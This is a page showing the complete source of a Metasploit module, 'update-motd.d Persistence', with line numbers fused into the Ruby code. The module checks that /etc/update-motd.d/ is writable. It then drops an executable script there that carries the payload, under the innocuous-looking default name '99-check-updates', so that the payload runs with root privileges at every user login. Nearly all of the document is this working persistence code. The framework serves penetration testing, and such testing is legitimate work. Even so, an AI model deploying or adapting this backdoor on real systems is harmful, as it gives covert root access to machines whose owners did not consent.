Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/motd_persistence.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67include Msf::Post::File8include Msf::Post::Unix910def initialize(info = {})11super(12update_info(13info,14'Name' => 'update-motd.d Persistence',15'Description' => %q{16This module will add a script in /etc/update-motd.d/ in order to persist a payload.17The payload will be executed with root privileges everytime a user logs in.18},19'License' => MSF_LICENSE,20'Author' => [ 'Julien Voisin' ],21'Platform' => [ 'unix', 'linux' ],22'Arch' => ARCH_CMD,23'SessionTypes' => [ 'shell', 'meterpreter' ],24'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },25'Targets' => [ ['Automatic', {}] ],26'DefaultTarget' => 0,27'DisclosureDate' => '1999-01-01',28'Notes' => {29'Stability' => [],30'Reliability' => [EVENT_DEPENDENT],31'SideEffects' => [ARTIFACTS_ON_DISK]32},33'References' => [34['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],35]36)37)38register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])39end4041def exploit42update_path = '/etc/update-motd.d/'4344unless exists? update_path45fail_with Failure::BadConfig, "#{update_path} doesn't exist"46end4748unless writable? update_path49fail_with Failure::BadConfig, "#{update_path} is not writable"50end5152backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])5354if exists? backdoor_path55fail_with Failure::BadConfig, "#{backdoor_path} is already present"56end5758write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")59chmod(backdoor_path, 0o755)60print_status "#{backdoor_path} written"61end62end636465